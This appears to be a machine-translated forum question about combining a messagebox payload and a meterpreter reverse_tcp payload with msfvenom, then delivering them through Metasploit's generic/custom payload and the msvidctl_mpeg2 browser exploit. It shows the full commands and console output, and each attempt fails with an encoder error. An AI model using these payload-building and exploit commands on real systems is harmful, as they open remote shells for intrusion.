我一直在玩新的MSF4(框架:4.1.0-release.13988,控制檯:4.1.0-release.13581)multipayload支持使用msfvenom和自定義/通用有效載荷,但似乎沒有關於有效載荷在編碼和兼容性方面支持的信息。Metasploit通用/自定義有效載荷與multipayload
基本上我在看如何關閉服務器端服務,然後讓meterpreter監聽它不再綁定端口。 (該漏洞會進入另一個端口)
本質上,我使用msfvenom以msgbox和Meterpreter背靠背的方式創建了多重負載,如exe,raw和.rb。我試着單獨留下編碼設置,並將其設置爲無。 (請注意,自定義/通用有效載荷.RB源說說只允許無編碼)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw
我也EXITFUNC試圖將其設置爲「無」:
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw
然後我需要寫原multipayload的東西,通用/自定義的有效載荷可以使用:(注意我試着寫生,EXE,.RB格式)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw
最後它的時間來嘗試multipayload出與通用/自定義:(請注意,我試圖重新加載設置前的每一次開發和利用)
msf > use exploit/windows/browser/msvidctl_mpeg2
msf exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
於是我發現了什麼解釋說:「沒有編碼器編碼......」應該是錯誤的意思。 (http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions)這是我認爲有效載荷的來源。
錯誤的原因是Windows/msgbox有效載荷,因爲它沒有上演?或者說,多重負載沒有上演?如果是後者,那麼我就看不出多重負載如何才能工作,除非他們上演。組合2個有效載荷可能會比單個有效載荷更大。
有人可以請至少解釋應該與通用/有效載荷兼容的編碼和格式,所以我可以排除這一點嗎?我只找到了幾個多重加載支持的參考。
在此先感謝!我保證會回覆我一旦做到這一點,我是如何做到這一點的。